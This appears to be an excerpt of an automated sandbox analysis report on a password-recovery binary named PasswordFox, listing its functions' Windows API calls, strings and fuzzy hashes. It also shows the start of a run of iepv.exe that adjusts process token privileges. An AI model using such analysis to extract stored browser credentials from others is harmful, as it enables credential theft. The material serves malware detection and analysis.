SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040AE48
wcscpy.MSVCRT ref: 0040AE5B

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: 8531b8b96a5ff0b16edbb0b48f9d725383d9776768608dab97c6698888b3ab15
Instruction ID: 01b55f20cceb296a23f5d1b4378d9ed000a8bdefdfddbcb88ab9166c3752c1de
Opcode Fuzzy Hash: 8531b8b96a5ff0b16edbb0b48f9d725383d9776768608dab97c6698888b3ab15
Instruction Fuzzy Hash: 2411E8B5900208EFDB00DFA9D9889AEB7F8EB48314F10446AE905E7251D7389A45CFA9

Function 00407FC5 Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004053F1: GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 00405430
Part of subcall function 004053F1: LoadStringW.USER32(00000000,00000006,?,?), ref: 004054C9
Part of subcall function 004053F1: memcpy.MSVCRT(00000000,00000002), ref: 00405509

_snwprintf.MSVCRT ref: 00407FF2
SendMessageW.USER32(?,0000040B,00000000,?), ref: 00408057

Part of subcall function 004053F1: wcscpy.MSVCRT ref: 00405472
Part of subcall function 004053F1: wcslen.MSVCRT ref: 00405490
Part of subcall function 004053F1: GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 0040549E

_snwprintf.MSVCRT ref: 0040801D
wcscat.MSVCRT ref: 00408030

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: HandleModule_snwprintf$LoadMessageSendStringmemcpywcscatwcscpywcslen
String ID:
API String ID: 822687973-0
Opcode ID: cecf6b3ba9b2bc983d970857ae202e2e7dcdb805c80cf490bf672af551e5d286
Instruction ID: 7d62326514c30f2996f5644e502fbb67f1eebbbaea245bd59ac79611c45167cd
Opcode Fuzzy Hash: cecf6b3ba9b2bc983d970857ae202e2e7dcdb805c80cf490bf672af551e5d286
Instruction Fuzzy Hash: EA01B1B25003086BE720B365DC86FBB73ACDB40748F00047AB719F21C3DA38A9558A6D

Function 0040215A Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040217F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 0040219C
strlen.MSVCRT ref: 004021AE
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004021BF

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: 6cb8a34a761912faa8ac38dee8a575437cfbeb5ecd169eee6093785f45105e23
Instruction ID: 5b4a580a9afbc116114165902e6f407056a70142a6cda248b66e7e205d5b1b91
Opcode Fuzzy Hash: 6cb8a34a761912faa8ac38dee8a575437cfbeb5ecd169eee6093785f45105e23
Instruction Fuzzy Hash: 68F0F9B640122CBEEB05ABD49DC9DEB77ACDB04254F0002B6B719E2092D6749F44CBA9

Function 00406BE3 Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406C08
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,0040C57C,?,?,?,?,?,004022DF), ref: 00406C21
strlen.MSVCRT ref: 00406C33
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,004022DF,?,?,00000008), ref: 00406C44

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: 5aa5a3b3c08058aebe5663790a2d456f728e6c27c00bfa616eb4cab50e3aca0f
Instruction ID: ca73ae1933ecf1bbfb280cec36af4ac0c48ef5680dcacbfd9dbc6e772decb399
Opcode Fuzzy Hash: 5aa5a3b3c08058aebe5663790a2d456f728e6c27c00bfa616eb4cab50e3aca0f
Instruction Fuzzy Hash: 08F0A9B640122CBEEB059B949DC9DEB77ACDB04254F0042B6B719E2192D6749F44CBA8

Function 0040A825 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 004046B2: memset.MSVCRT ref: 004046D1
Part of subcall function 004046B2: GetClassNameW.USER32(?,00000000,000000FF), ref: 004046E8
Part of subcall function 004046B2: _wcsicmp.MSVCRT ref: 004046FA

SetBkMode.GDI32(?,00000001), ref: 0040A84C
SetBkColor.GDI32(?,00FFFFFF), ref: 0040A85A
SetTextColor.GDI32(?,00C00000), ref: 0040A868
GetStockObject.GDI32(00000000), ref: 0040A870

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
String ID:
API String ID: 764393265-0
Opcode ID: 627533290ad874b04cae142c4f1d449b0d86b414305bd16aaac97a702ec6867f
Instruction ID: 14f035e3676bdca9974515920c8ce13e1728c692c7fe0e77eb57e171f9705ac8
Opcode Fuzzy Hash: 627533290ad874b04cae142c4f1d449b0d86b414305bd16aaac97a702ec6867f
Instruction Fuzzy Hash: 5DF08C32100209FBCF253FA5DC09A9E3B25AF04361F10C236FA15741F1CA7988A0DA49

Function 00409E0D Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(0040F5C8,?,00000050,?,004014D4,?), ref: 00409E27
memcpy.MSVCRT(0040F2F8,?,000002CC,0040F5C8,?,00000050,?,004014D4,?), ref: 00409E39
GetModuleHandleW.KERNEL32(00000000), ref: 00409E4C
DialogBoxParamW.USER32(00000000,0000006B,?,Function_00009B23,00000000), ref: 00409E60

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 07a75c4b686bdf10da6d20a7fa06ca80fffb70e214758e8830736ea6c9825698
Instruction ID: f944e8ee28cea8addfebdb5eace4f3b51803774482c945df87ae2f44757a6356
Opcode Fuzzy Hash: 07a75c4b686bdf10da6d20a7fa06ca80fffb70e214758e8830736ea6c9825698
Instruction Fuzzy Hash: 66F08931654310BBD760AB54BC06F5636A0E744F12F24057AFA41B50D1D3BA0595CBCC

Function 00408CCE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00408D2E
SetFocus.USER32(?,0040D124,?), ref: 00408DCA

Strings

Q.@, xrefs: 00408EAF

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FocusMessageSend
String ID: Q.@
API String ID: 223698058-4024751401
Opcode ID: 373d8ffff2fe50eca12e560ce30c295213923caf74c15fb5872483c6e38fe0cd
Instruction ID: ea227be7026451b4e5dbc1450cab4db2f21189eb84d5aa359695cb02a96ede71
Opcode Fuzzy Hash: 373d8ffff2fe50eca12e560ce30c295213923caf74c15fb5872483c6e38fe0cd
Instruction Fuzzy Hash: C351B4306002049ADB30AB25C989FEE72A25B50B68F52417FF1997F2E2CF795C858B4D

Function 00406C4E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00406C90
wcschr.MSVCRT ref: 00406C9E

Part of subcall function 00404EEB: wcslen.MSVCRT ref: 00404F07
Part of subcall function 00404EEB: memcpy.MSVCRT(00000000,?,00000000,00000000,?,0000002C,?,00406CE6,?), ref: 00404F2A

Strings

", xrefs: 00406CDA

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcschr$memcpywcslen
String ID: "
API String ID: 1983396471-123907689
Opcode ID: da2ba4c61535efc9af471724ec7600097bc8c61c473a7b97c8991c2fd6d2e592
Instruction ID: 4bf1fa089a2ee370b459162281fe9c31dc42728a176ac04e87decefd6409daad
Opcode Fuzzy Hash: da2ba4c61535efc9af471724ec7600097bc8c61c473a7b97c8991c2fd6d2e592
Instruction Fuzzy Hash: 96319275904214EFDF14EF65C8419EE7BF8EF44324B21427BE812BB1C1D778AA518A98

Function 00404B1B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00404B60
memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 00404B70

Strings

%2.2X , xrefs: 00404B55

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: c99066928f9437aa7e551033cabbef0df198b6f8c8e597af9a43f68327a4c180
Instruction ID: a9002b0875575303a2987026f9fb1bf175ac1b43a81178ecf4e49226d2ebb4fd
Opcode Fuzzy Hash: c99066928f9437aa7e551033cabbef0df198b6f8c8e597af9a43f68327a4c180
Instruction Fuzzy Hash: E9115272900209BFDB50DFE8C882AAF73B9FB44714F108476EE15E7181D678EA158B95

Function 00406EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00406ECE
_snwprintf.MSVCRT ref: 00406EEE

Part of subcall function 00404248: wcslen.MSVCRT ref: 00404255
Part of subcall function 00404248: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00407299,?,<item>), ref: 00404264

Strings

%%-%d.%ds , xrefs: 00406EC3

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _snwprintf$FileWritewcslen
String ID: %%-%d.%ds
API String ID: 889019245-2008345750
Opcode ID: 868302a9e02cd75f8354f8058d42a64734ba0f68fa388504d18fbb5dae66fb0c
Instruction ID: e143721a560c24b574496b3a283ef396d45c0151d4c93298e099853d173d25ff
Opcode Fuzzy Hash: 868302a9e02cd75f8354f8058d42a64734ba0f68fa388504d18fbb5dae66fb0c
Instruction Fuzzy Hash: A4019275240304AFDB10AB59CC82D5A77E9EB88318B01053EF946A72A2D635F951DBA8

Function 00405FDC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405FF5
SendMessageW.USER32(00403113,0000105F,00000000,?), ref: 00406023

Strings

", xrefs: 0040601C

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: MessageSendmemset
String ID: "
API String ID: 568519121-123907689
Opcode ID: 2ae622bd2626f1aacff70f59a86f4a341843bd16d34e56bfea62d70f55bee892
Instruction ID: bc73b25eccc6807c1a63795b29de817f78dd97bbc701bd9d2aad54656d2c4010
Opcode Fuzzy Hash: 2ae622bd2626f1aacff70f59a86f4a341843bd16d34e56bfea62d70f55bee892
Instruction Fuzzy Hash: 3601A275900205EBDB20CF45C885EABB7B8FF80745F11402AE881B6281D3359E95CB79

Function 00405810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040584A
SetWindowTextW.USER32(?,?), ref: 0040587A

Strings

caption, xrefs: 0040585F

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: TextWindowmemset
String ID: caption
API String ID: 2590972913-4135340389
Opcode ID: 0fcc5cf7fb10eb742ef7212aa95dbfacf46bc68522d4b0609645f212bcb06b33
Instruction ID: df80af938675ecbf3287059fad7e6b069a73c638d1509468611f52464be81b01
Opcode Fuzzy Hash: 0fcc5cf7fb10eb742ef7212aa95dbfacf46bc68522d4b0609645f212bcb06b33
Instruction Fuzzy Hash: 32F08132940718AAFB207790DC8EB973668DB04710F444076FE04B61D2D7B8AD84CE9C

Function 004018C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(?,?), ref: 004018E9
memset.MSVCRT ref: 004018FC

Strings

WinPos, xrefs: 0040190F

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: PlacementWindowmemset
String ID: WinPos
API String ID: 4036792311-2823255486
Opcode ID: 5052010143d1387a6fe5ae6b726869f0e7121bcf886364b26e52eb317d2e6143
Instruction ID: 891a523d76eb80ac23909987fbe7a34fa85cc5b30c9ee4295a6a184e028cc620
Opcode Fuzzy Hash: 5052010143d1387a6fe5ae6b726869f0e7121bcf886364b26e52eb317d2e6143
Instruction Fuzzy Hash: FEF04FB1600204EFEB04DF94D999F6A33A8EF04700F140179F909EB1D1D7B8A900CB69

Function 00408C64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00408C8C
??3@YAXPAX@Z.MSVCRT(?), ref: 00408C9C

Strings

]`@, xrefs: 00408C76

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??3@CurrentDirectory
String ID: ]`@
API String ID: 3082378999-2281983686
Opcode ID: dc99835a84fa40df20e35a936bb5fea986788c39caf072bddb3a135d5646a1bf
Instruction ID: eb7365baeae3a5b06f30f4f5dc53f0f83de17f426ffce70ccee701f3d2314ce1
Opcode Fuzzy Hash: dc99835a84fa40df20e35a936bb5fea986788c39caf072bddb3a135d5646a1bf
Instruction Fuzzy Hash: 6AE09A32005702CAD3206F64EA08B97B3F9AF80725F11823FE08973280DB78A450CBA8

Function 004058E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004058F6
_itow.MSVCRT ref: 00405904

Part of subcall function 0040593F: memset.MSVCRT ref: 00405962
Part of subcall function 0040593F: GetPrivateProfileStringW.KERNEL32(0040FDA8,00000000,0040C3EC,?,00001000,0040FB98), ref: 00405988
Part of subcall function 0040593F: wcscpy.MSVCRT ref: 004059A2

Strings

`$@, xrefs: 00405901

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memset$PrivateProfileString_itowwcscpy
String ID: `$@
API String ID: 3901012872-815968772
Opcode ID: a52f3a6f5e7c06b2e4ef3cdf612b0be2bf477317c706a0e1cef859a158c42064
Instruction ID: 97705da9659c9a3d0b8293794e97ff1ce276b965d97d82d753a4d3b1ca5179b9
Opcode Fuzzy Hash: a52f3a6f5e7c06b2e4ef3cdf612b0be2bf477317c706a0e1cef859a158c42064
Instruction Fuzzy Hash: 3CE0BF7190020DF6EF10BBA1CC46F9D776CAB04748F004025B915B51D2E774A6158B9A

Function 00405ED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Part of subcall function 0040455F: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00404577,?,00403725,?,00000104), ref: 0040456A

wcsrchr.MSVCRT ref: 00405ED9
wcscat.MSVCRT ref: 00405EEF

Strings

_lng.ini, xrefs: 00405EE9

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: dbc4aa386498fdcc5a9e47a1312a2b6bce87ebe8e1006e5965a30aba6ab08d06
Instruction ID: e6667663987ec2e796af49d1c246636855323936fd01b5f2f3949006dd472c6d
Opcode Fuzzy Hash: dbc4aa386498fdcc5a9e47a1312a2b6bce87ebe8e1006e5965a30aba6ab08d06
Instruction Fuzzy Hash: 40C012A2552A10A4E1223722AC43F6F2698CF12304F20003BFA00741C3EBBD974141EE

Function 00404DBA Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00404DC7
free.MSVCRT ref: 00404DEA

Part of subcall function 004044DF: malloc.MSVCRT ref: 004044FB
Part of subcall function 004044DF: memcpy.MSVCRT(00000000,00000000,?,00000000,?,004025D1,00000002,?,?,?,00401C46,?), ref: 00404513
Part of subcall function 004044DF: free.MSVCRT ref: 0040451C

free.MSVCRT ref: 00404E0D
memcpy.MSVCRT(?,?,?), ref: 00404E31

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: 20036088783e96ef4255c6f0e365a063d5daffbdf19fe68d509660aae9788dff
Instruction ID: 8d9795adf50868bdc10155fdcea5b5fc59c421547f0e70d27590742da84e4b79
Opcode Fuzzy Hash: 20036088783e96ef4255c6f0e365a063d5daffbdf19fe68d509660aae9788dff
Instruction Fuzzy Hash: F5216DB1100604EFC730DF58D881D9AB7F5EF883247108A2EF952A76D2DB35B915CB98

Analysis Process: iepv.exePID: 8096, Parent PID: 7372COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.9%
Total number of Nodes:	872
Total number of Limit Nodes:	27

Executed Functions

Function 0040BFA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 62
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?), ref: 0040BFAF

Part of subcall function 0040BF6B: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 0040BF81

GetLastError.KERNEL32(00000000), ref: 0040BFC1
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueA), ref: 0040BFE1
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 0040BFEF
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 0040C015
